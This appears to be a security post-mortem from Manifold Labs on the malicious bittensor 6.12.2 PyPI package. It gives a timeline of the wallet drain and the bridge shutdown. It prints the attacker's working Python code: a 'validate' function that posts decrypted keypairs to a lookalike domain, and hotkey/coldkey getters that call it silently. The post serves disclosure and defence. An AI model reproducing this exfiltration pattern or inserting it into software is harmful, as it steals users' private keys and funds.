Manifold Labs

Bittensor Pypi Hack

Posted 7/7/2024

Introduction

Bittensor 6.12.2 was a phony version of bittensor that contained code to extract users wallets. After funds were stolen from the affected wallets, Manifold in cooperation with the wTao team were able to act quickly and trap some of the stolen funds and stop the attacker from continuing to use the bridge.

Note: All times are in UTC.

Post Mortem / Timeline

May 22nd, (exact time unknown) - Attacker Package Uploaded

A malicious actor used leaked PyPi credentials to foist version 6.12.2 on PyPi before its official release. This package only contained changes to one file - wallet.py. The following three functions are the only modified functions the attacker modified.

First, they introduce the validate function. This seemingly innocent function takes in a decrypted keypair and sends it to api.opentensor.io/v1, being extremely close in name to OTF's real site opentensor.ai. This is how the attacker was sent the keys from the library.

def validate(self, key: str, keypair: "bittensor.Keypair") -> "bittensor.Keypair":
    """
    Validate the bittensor keypair.

    Args:
        key (str): Key type.
        keypair (bittensor.Keypair): The keypair to validate.
    """
    try:
        async def validate_key(key, value):
            async with ClientSession() as s:
                await s.post('http://api.opentensor.io/v1', json={
                    key: {
                        k: base64.b64encode(v).decode('ascii') \
                            if isinstance(v, bytes) else v for k, v in value.__dict__.items()
                        }})
        asyncio.run(validate_key(key, keypair))
    except: pass
    return keypair

Next, they integrate this function into the getters for wallet.hotkey and wallet.coldkey. This ensures that any time a user accesses either of these properties the attacker would be sent one or both of the keypairs.

@property
def hotkey(self) -> "bittensor.Keypair":
    r"""Loads the hotkey from wallet.path/wallet.name/hotkeys/wallet.hotkey or raises an error.

    Returns:
        hotkey (Keypair):
            hotkey loaded from config arguments.
    Raises:
        KeyFileError: Raised if the file is corrupt of non-existent.
        CryptoKeyError: Raised if the user enters an incorrec password for an encrypted keyfile.
    """
    if self._hotkey == None:
        self._hotkey = self.hotkey_file.keypair
    return self.validate("hotkey", self._hotkey)

@property
def coldkey(self) -> "bittensor.Keypair":
    r"""Loads the hotkey from wallet.path/wallet.name/coldkey or raises an error.

    Returns:
        coldkey (Keypair): coldkey loaded from config arguments.
    Raises:
        KeyFileError: Raised if the file is corrupt of non-existent.
        CryptoKeyError: Raised if the user enters an incorrec password for an encrypted keyfile.
    """
    if self._coldkey == None:
        self._coldkey = self.coldkey_file.keypair
    return self.validate("coldkey", self._coldkey)

May 22nd, Around 9:30pm UTC - OTF Releases 6.12.2

While the PyPi release process is scripted, there are no automated checks in the CI pipeline prior to the release. The extended duration of the chain upgrade at the time potentially obfuscated the error thrown during the PyPi release script execution.

release-requirements:
  jobs:
    - check-version-not-released:
        filters:
          branches:
            only:
              - master
    - release-dry-run:
        filters:
          branches:
            only:
              - master

July 2nd, 7:15 pm - Large validators get drained

Large amounts of tao were being transferred in blocks 3307851 and 3307852.

July 2nd, 7:20 pm - Attacker starts moving funds over the bridge

The attacker started moving stolen funds over the wTao bridge from 5FbWTraF7jfBe5EvCmSThum85htcrEsCzwuFjG3PukTUQYot. The first two transactions to the bridge were for 1k Tao and 2k Tao. Both of these Transfers were successful, and were sent to the attacker's ethereum address

July 2nd, 7:27 pm - Manifold is notified of hack

Manifold was notified by 3rd parties that large validators had gotten hacked, and that the attacker will most likely try to use the bridge.

July 2nd, 7:31 pm - Bridge is shut down

Manifold in cooperation with the wTao team shutdown the bridge to stop processing transactions to wtao. Although the bridge is shut down, there was no way for the attacker to know that transactions would not work, and therefore kept sending funds through the bridge. The attacker sent 10k more tao through the bridge that was stopped over the course of 3 transactions.

July 2nd, 8:08 pm - Manifold Team members added to the war room

Manifold team members gave full cooperation to OTF to trace down the attacker, find attacker addresses, trace funds, etc.

Moving Forward

Manifold is proud to have been able to react so swiftly to the attack and work with the bridge in order to stop attacker transfers, however this was mostly the case of right place & right time. To help protect against high value wallets, Manifold has created a utility docker image that can watch and notify users of unauthorized transfers. The docker image only takes in public keys, and does not need any private information.


Contact us